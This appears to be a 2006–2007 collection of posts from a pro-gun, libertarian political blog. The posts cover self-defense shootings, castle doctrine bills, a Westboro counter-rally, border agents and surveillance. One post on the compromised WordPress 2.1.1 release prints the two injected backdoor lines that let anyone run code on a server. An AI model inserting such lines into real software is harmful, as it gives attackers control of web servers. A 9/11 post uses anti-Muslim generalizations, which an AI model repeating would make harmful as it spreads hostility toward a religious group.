Ever had the feeling someone was watching you? Maybe you just tossed a wad of gum into the gutter or crushed out a cigarette. Well now you won’t have to wonder if you’ve been seen. Authorities have installed talking cameras in a park in England. Their goal is to ‘curb anti-socail behavior’.
All I can say is that George Orwell’s view of the future continues to come true. A bit slower than 1984, but still on target.
Not in Port Orchard you don’t.
The big news around these parts today was a visit from the lunatics from the Westboro Baptist Church to harass the grieving family of SFC Johnny Walls. If these sleazy carpet baggers thought they could come into our town and subject the family of a fallen soldier to their vile hate with impunity they got a surprise today.
I started out at the local WalMart, buying a 4×5 flag to wave, everyone there seemed to know where I was headed and kept asking if I was going to the protest — My reply was “I’m not protesting anything, I’m there to support the family”. I arrived at the corner of Lund Ave and Bethel road at about 1pm. There were already about 100 people on 2 of the corners. The lunatics were over on the opposite corner, totally surrounded by supporters and Kitsap County Deputies.
The size of the crowd quickly swelled with people carrying signs, banners and flags. I estimated that the number of people was at least 300. They were surrounded by people with signs that said things like “Social Parasite”, “We are here for SFC Walls, You are here for yourselves” and “Thank God for SFC Walls”. I think it got to be too much for them to handle, they tried to move off down the road, and then the cops escorted them across the street and back to their cars. A good thing, because one of them was dragging an American Flag though the dirt which didn’t go over too well with a passerby at the Rite Aid — the deputies prevented him from causing a scene as far as I could tell.
As they were leaving the Patriot Guard Riders made a pass through on their way to the SFC Walls’ funeral.
I prefer to think of this as a support rally for SFC Johnny Walls and his family. I was there to show the screwballs that they are vastly out numbered by people who support our troops and their families and to show the family that the community supports them and thanks them for making the ultimate sacrifice — the loss of a son. I hope that our presence there gave some solace to his family in their time of grief.
Pictures can be seen at the LibertyNews Gallery and a couple of short videos on the LibertyNews YouTube page.
Joe Huffman’s post on Being treated like cattle has spurred me to collect some recent articles and break my posting silence. I am seriously questioning the direction that this country is taking. In Colorado we have a sleazy lawyer biding his time so he can steal 30% of the vacant lot a couple had bought to build their dream home on.
In Houston we have the cops testing out the use of UAVs for spying on its citizens. Then along comes the article about judges issuing warrants without probable cause for tracking cell phone locations.
We also have the government in Maryland forcing parents to have their kids immunized against their will and with the threat of jail (at the point of a gun). In Omaha a baby was ripped from its mother’s arms in order for the state to give it a blood test. It took them a week to get their child returned to them from the State mandated foster care.
To top this off I am finally convinced that our Democracy experiment in Iraq is doomed to eventual failure. Look at Pakistan, they can’t even hold their government together. Jerry Pournelle is right when he says we could have spent a fraction of the trillions that this war is costing us and had energy independence (Nuclear Reactors don’t need oil from unstable nations, nor does space based solar satellites.)
I feel like we’ve tipped over the edge and are sliding into the abyss. And I don’t see ANY presidential candidates who realize this.
It has been 6 years since terrorists attacked the WTC and Pentagon. They are still out there, and they are still trying to kill us. Never mind the political posturing that is going on as we approach another Presidential election. Just remember what really happened. What the barbaric muslim fanatics would like to see happen repeatedly.
Michelle Malkin has a good post (as always) with video and links.
And there is always LibertyNews WTC image archive.
When a neighbor screamed she’d been shot, Colin Bruley grabbed his shotgun, found the victim and began treating her bloodied right leg.
Tonnetta Lee survived Tuesday’s pre-dawn shooting at her Jacksonville apartment, and her sister and a neighbor praised Bruley’s actions. But his employers, the same people who own the Arlington complex where Bruley lives, reacted differently. They fired him.
Read the rest of the story here at the Florida Times-Union, hat tip to The Freehold
The Federal Government has taken it upon itself to insert itself into the employment process to such a degree that you can’t be fired if you’re an alcoholic in some cases. But this guy does a stand-up job and helps protect his neighbors and he gets fired for it? Typical. But should he get his job back? Should he sue? I don’t think so. Why would you want to work for someone who is going to treat you that way? I’m sure there are lots of Employers who would be happy to have an upstanding guy like Colin Bruley working for them. Working for someone is a temporary arrangement, it can be severed by either party for any reason at any time. I don’t believe an employer has the right to force you to continue to work and you don’t have the right to force an employer to continue to employ you. Its a two-way street. Or at least it ought to be.
This story from The Real Gun Guys has me kinda riled up this morning. Most of the article covers a brave teenager who saved him and his mom from a carjacking by grabbing the goblin’s gun and shooting him with it.
Its the police reaction that’s got me red in the face -
While acknowledging the gamble succeeded, authorities stressed that it’s safer to cooperate in such a case.
“Give them the money and give them the keys,” Sheriff Harry Lee said. “You make an insurance payment on your car, and nobody gets shot.”
Says who? I figure if some shithead it sticking a gun in my face he’s ready to take my life. In other words, I’m dead unless I take matters into my own hands and do something to save myself and my loved ones. If more people would react this way to criminals trying to terrorize innocent victims we would quite possibly have lower crime rates and more dead criminals.
It really pisses me off when the guys in blue say ‘nice job, but you should have just given in’. Are we giving in to the terrorists who want to annihilate our way of life? No. The same standard should be used for cowardly little punks sticking a gun in your face.
Someone cracked the Wordpress servers and inserted malicious code into 2 of the source files for the popular open source blog software.
If you are running Wordpress v2.1.1 you need to upgrade now! Read their announcement here. This is more serious than your normal round of ’someone found another way to exploit sloppy PHP code’ — someone was able to gain access to their download server, insert code and recreate the distribution file.
They have never had any kind of file integrity checking (GPG signatures are commonly used in Open Source projects), but I think it is high time they implemented them.
They are a bit light on details of the inserted code. It exists in 2 files - feed.php and theme.php, someone inserted this line into feed.php:
if ($_GET["ix"]) { comment_text_phpfilter($_GET["ix"]); }
And in theme.php:
if ($_GET["iz"]) { get_theme_mcommand($_GET["iz"]); }
What this means is that someone passing the argument ix to feed.php or iz to theme.php could execute PHP code or shell commands on the server with permissions of the running web server. It is as if you opened up a guest account on your system for anyone to use. It could be used to launch spam relays, potentially exploit other security holes to gain root access, or trash your blog.
The Wordpress team needs to take a very serious look at their development process and security procedures. At the least they need to designate someone as the release manager and have them GPG sign the release files so that those of us downloading their software have some level of confidence that it hasn’t been compromised.
From CCRKBA:
For Immediate Release: February 16, 2007
BELLEVUE, WA – For more than two months, a damning report on a five-year study by the Federal Bureau of Investigation about how cop-killing criminals ignore gun laws and where they get their guns has languished in the shadows, the Citizens Committee for the Right to Keep and Bear Arms revealed today.
“The public has a right to know the contents of this report, which was revealed to the International Association of Chiefs of Police last year,” said CCRKBA Executive Director Joe Waldron. “According to the Force Science News, research focused on 40 incidents involving assaults or deadly attacks on police officers, in which all but one of the guns involved had been obtained illegally, and none were obtained from gun shows.”
The study is called “Violent Encounters: A Study of Felonious Assaults on Our Nation’s Law Enforcement Officers.” Waldron called it a “smoking gun” in terms of revelations about the sources of crime guns. Anti-gun politicians and police chiefs do not want the public to know as they campaign against the so-called “gun show loophole,” he said.
The Columbia Missourian reports that the house has approved a ‘Castle Doctorine’ bill similar to that passed in several other states.
Rep. Kenny Jones, R-California, Mo., said the proposal clarifies common sense.
“A man’s home is his castle, and he has a right to defend it,” Jones said.
Rep. Jeff Roorda, D-Hillsboro, said that the bill essentially “takes the castle doctrine on the road” and allows drivers to defend their cars just as people in their homes can defend their residences.
The bill still needs another vote before moving on to the Senate for consideration.
Several sources in Texas are ‘covering’ thier version of the ‘Castle Doctorine’, including KWSO News, KWTX News and the Houston Chronicle. I notice that all 3 are using an AP story as their source, but only 2 give credit and only 1, the Chronicle, appears to print the story in full.
“I believe Texans who are attacked in their homes, their businesses, their vehicles or Texas already has some of the broadest self-defense laws in the country, Wentworth says his bill would expand the legal rights of crime victims to protect themselves, their relatives and their property from intruders in their home, occupied vehicles or business.anywhere else have a right to defend themselves from attack without fear of being prosecuted and face possible civil suits alleging wrongful injury or death,” Wentworth said.
This report comes from Interested-Participant. Another thug has flunked the victim selection process, he and 2 friends attemped an home invasion robbery on an armed citizen and lost.
PONTIAC — A 21-year-old Pontiac man who was shot by an armed homeowner when he allegedly forced his way into a home with two other men last month died early Tuesday from a gunshot wound to the chest.
Herbert McDaniels died in Pontiac Osteopathic Hospital. Police said McDaniels was named in a criminal warrant as one of three men who forced their way into a house on Cloverlawn Street at about 4 a.m. on Jan. 29.
The 33-year-old homeowner told police he armed himself after hearing a loud noise when the men kicked in a door. The man shouted for the three to leave and when they ignored him and continued advancing into the house, he fired off two shots.
Pay attention all you bad guys! Guns are used more often to defend the good guys than they are in committing a crime. Find a new line of work.
I’m not sure which is more pathetic — the news folks and their wall-to-wall coverage before they knew any facts, homeland security because these things were in place in 10 cities for two weeks before being discovered in Boston, or the marketing firm that dreamed up this miracle of modern marketing.
Read all about it here at Yahoo news
Turner Broadcasting, a division of Time Warner Inc. and parent of Cartoon Network, said the devices were part of a promotion for the TV show “Aqua Teen Hunger Force,” a surreal series about a talking milkshake, a box of fries and a meatball.
“The packages in question are magnetic lights that pose no danger,” Turner said in a statement. It said the devices have been in place for two to three weeks in 10 cities: Boston, New York, Los Angeles, Chicago, Atlanta, Seattle, Portland, Ore., Austin, Texas, San Francisco and Philadelphia.
Citizens’ Self-Defense Act of 2007 (Introduced in House)
HR 73 IH
110th CONGRESS
1st Session
H. R. 73
To protect the right to obtain firearms for security, and to use firearms in
defense of self, family, or home, and to provide for the enforcement of such
right.
IN THE HOUSE OF REPRESENTATIVES
January 4, 2007
Mr. BARTLETT of Maryland introduced the following bill; which was referred
to the Committee on the Judiciary
A BILL
To protect the right to obtain firearms for security, and to use firearms in
defense of self, family, or home, and to provide for the enforcement of such
right.
Be it enacted by the Senate and House of Representatives of the United
States of America in Congress assembled,
SECTION 1. SHORT TITLE.
This Act may be cited as the `Citizens’ Self-Defense Act of 2007′.
SEC. 2. FINDINGS.
The Congress finds the following:
(1) Police cannot protect, and are not legally liable for failing to
protect, individual citizens, as evidenced by the following:
(Continued)
I previously wrote about the case where the US Attorney went out of his way to build a case against 2 US Border Patrol guards in this article here. Now there is a report from World Net Daily that the ballistics data in the case don’t match the facts.
Despite the conclusion of a laboratory criminalist that he could not conclusively link the bullet removed from Aldrete-Davila with Ramos’ service weapon, a Department of Homeland Security agent swore, in an affidavit of complaint filed against Ramos and Jose Alonso Compean, that Aldrete-Davila was hit by a round fired by Ramos.
On the flip side the description of the drug smuggler’s wounds are consistent with the description of the incident by the two officers:
The Army doctor’s description of the wound directly contradicts U.S. Attorney Sutton’s repeated claim that agents Ramos and Compean shot Aldrete-Davila in the back.
The doctor clearly stated that the wound he observed was consistent with Aldrete-Davila turning to assume a “bladed position” with his left arm extended back toward the officers. This corroborates agent Ramos and Compean’s claim they observed Aldrete-Davila turning back toward them while fleeing, extending his arm and holding an object in his hand that they took to be a weapon.
Aldrete-Davila is left-handed, consistent with the bullet entering his left buttock laterally as he fled and turned back toward the officers, possibly pointing a weapon at them.
It may seem hypocritical to simultaneously claim that Officer Ramos did not shoot him, and that he did shoot him. What is does show is that the evidence in the case is inconclusive, and that two good Officers are being unfairly treated by the system that they swore to protect. They have never denied that the shooting happened, but the chain of evidence (you watch CSI, right? They do get some things right) is not secure, and they cannot prove that the bullet removed from the drug dealer is from Ramos’ gun.
And even if it did match, the description of the wound is consistent with someone turning and preparing to fire a gun. In which case their actions are completely justified. It is becoming increasingly evident that this case was motivated by something other than a sense of justice. I won’t speculate as to why they have been made an example of, but I find this administrations attitude towards border security to be puzzling and disturbing.
This comes in from CNSNews.com
By Randy Hall
CNSNews.com Staff Writer/Editor
January 17, 2007(CNSNews.com) - As two U.S. Border Patrol agents surrendered to federal marshals Wednesday afternoon to begin serving more than a decade in jail for shooting an illegal drug smuggler, a federal lawmaker and conservative advocacy group expressed outrage at President Bush for not pardoning the men.
“This is the worst betrayal of American defenders I have ever seen,” Rep. Dana Rohrabacher said of the president.
“It’s shameful this was done by someone who is in the Republican Party,” the California Republican added in comments coinciding with the jailing of agents Ignacio Ramos and Jose Compean.
Rohrabacher said Bush “obviously thinks more about his agreements with Mexico than the lives of American people and backing up his defenders.”
Why?
As Cybercast News Service previously reported, Ramos and Compean encountered Osvaldo Aldrete-Davila while on duty on Feb. 17, 2005. When they tried to stop him, he fled and was shot and wounded. Aldrete-Davila was treated at a hospital in El Paso and then returned to Mexico.
After learning of the shooting, U.S. Attorney Johnny Sutton sought out Aldrete-Davila in Mexico and offered him immunity from prosecution if he would return to the United States to testify against Ramos and Compean.
Sutton later defended the decision, arguing that the agents did not have knowledge of any criminal activity involving Aldrete-Davila at the time they shot him.
The U.S. Attorney went out of his way to prosecute two Border Guards doing their job? Just wonderful.
A country without borders is not a country. It looks like that’s where we’re still headed.
This surprising op-ed made it into the New York Times. Written by Instapundit blogger and author Glenn Reynolds. It is nice to see the Times publishing something that makes sense on occasion. We while could hope for a tide of these kinds of laws to sweep the nation, as Concealed Carry has, I don’t see the big liberal cities getting on board.
Last month, Greenleaf, Idaho, adopted Ordinance 208, calling for its citizens to own guns and keep them ready in their homes in case of emergency. It’s not a response to high crime rates. As The Associated Press reported, “Greenleaf doesn’t really have crime … the most violent offense reported in the past two years was a fist fight.” Rather, it’s a statement about preparedness in the event of an emergency, and an effort to promote a culture of self-reliance.
Arizona Central is reporting another border violation:
A U.S. Border Patrol entry Identification Team site was overrun Wednesday night along Arizona’s border with Mexico.
According to the Border Patrol, an unknown number of gunmen attacked the site in the state’s West Desert Region around 11 p.m. The site is manned by National Guardsmen. Those guardsmen were forced to retreat.
Maybe if we armed the Guardsmen they would have had a chance to defend themselves? Maybe if our President took border security seriously? I have said this repeatedly — if you cannot protect your borders you are not a country.
According to this article from JT News, the National Council of Jewish Women (NCJW) is going to be working with Washington Ceasefire to pass gun control legislation in Washington State.
The two organizations will also be working together this upcoming year to pass gun-control legislation in Olympia. Their target is a controversial gun-show loophole that allows private, unlicensed gun dealers to sell firearms without conducting background checks as required by the 1994 Brady Bill.
The only controversy I see is that they don’t understand the law and how it applies to gun shows and private sales. In Washington State it is legal for private citizens to buy and sell guns from each other. A gun show is just a collection of private individuals, and by closing this mis-named gun show loophole they will be stopping private sales of guns — which I’m sure they will be perfectly happy to do.
(Continued)
This comes in from Mr. Completely, some news from Dan McKown:
Then, if that isn’t enough; I too will actually be receiving an award. Many of you either heard or saw that I had received a commendation from our local chapter of the American Legion. Well they put me in for nationals and I hardly gave it a second thought. First, the award usually goes to soldiers and with two wars (or one war on terror) and a hurricane, there were plenty of opportunities for heroism, second; there are an enormous amount of American Legion halls across this country– I wouldn’t stand a chance!
Except for the fact that… I won.
On Friday, Dec. 15th 7:00ish (double check with me) I will be the American Legion 2006 HERO of the year! Wow. God just seems to insist on sharing his glory with me. Wow. Ceremony will be Friday at American Legion Post #138, 7515 Cirque Drive (56th turns into Cirque). Look for a 7-11, a drug store and a whole lotta flags!
“My first thought was, what a great pity that another nation should be added to those aggressors who choose to limit our freedom…I find myself at the age of eighty, an old woman, hanging on to the tail of the world, trying to keep up. I do not want the driver’s seat but the eternal verities. There are certain things that I wish to express: one thing that I am very sure of is that hatred is death, but love is light. I want to contribute to the civilization of the world but…When I look at the holocaust that is going on in the world today, I’m almost ready to let go…”
Lena Jamison, “What A Great Pity,” December 9, 1941
John Lomax, interviewer
Read more about the attack at Library of Congress
Outgoing Seantor George Allen has introduced Legislation to allow the carry of concealed weapons in National Parks. The usual suspects (NYT, Brady Bunch, etc.) are up in arms that anyone would feel so unsafe as to want to carry a gun into the pristine wilderness. They are ignoring incidents suck as this one from Hawaii in 1999, this National Geographic report on Organ Pipe National Monument, or this report listing the 10 most dangerous National Parks.
Two legged critters aren’t the only threat in the wilderness areas, bear attacks have resulted in multiple deaths in recent years. Even so called experts are not safe, as the death of Timothy Treadwell so clearly demonstrated.
National Parks are located within the boundaries of states, and citizens of most of those states can legally carry concealed weapons when licensed to do so. There is no reason for their rights to be suspended at the border of the park. Just as with the ‘Gun Free School Zone’, having a gun free Park creates multiple targets of opportunity for criminals. Instead of asking why a visitor ‘needs’ a gun, they should be asking why their rights stop at the entrance station.
